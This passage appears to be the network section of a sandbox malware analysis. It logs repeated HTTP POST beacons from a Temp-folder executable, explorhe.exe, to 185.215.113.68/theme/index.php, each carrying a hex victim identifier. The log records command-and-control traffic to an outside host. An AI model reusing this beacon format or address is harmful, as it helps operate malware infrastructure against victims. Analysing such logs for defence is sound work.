40	192.168.2.6	50133	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:27.881707907 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:28.120174885 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:28.121169090 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:28.365643024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50135	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:28.719888926 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:28.951576948 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:28.952536106 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:29.187275887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50137	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:29.540949106 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:29.778410912 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:29.779339075 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:30.019922018 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50140	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:30.378117085 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:30.616931915 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:30.617963076 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:30.860517979 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50143	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:31.323051929 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:31.553920984 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:31.554667950 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:31.792165041 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	50145	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:32.133687973 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:32.366409063 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:32.367424965 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:32.604036093 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50147	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:32.961050034 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:33.200001955 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:33.200870037 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:33.444294930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50149	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:33.792720079 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:34.027451992 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:34.028949976 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:34.322321892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50152	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:34.664920092 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:34.898626089 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:34.903789043 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:35.142678022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50158	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:35.495237112 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:35.728472948 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:35.742152929 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:35.978796959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50165	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:36.349214077 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:36.582107067 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:36.583082914 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:36.820879936 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50172	185.215.113.68	80	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:37.196114063 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:37.429013968 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:37.430042982 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:37.669184923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50178	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:38.036288977 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:38.275516987 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:38.279625893 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:38.523570061 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
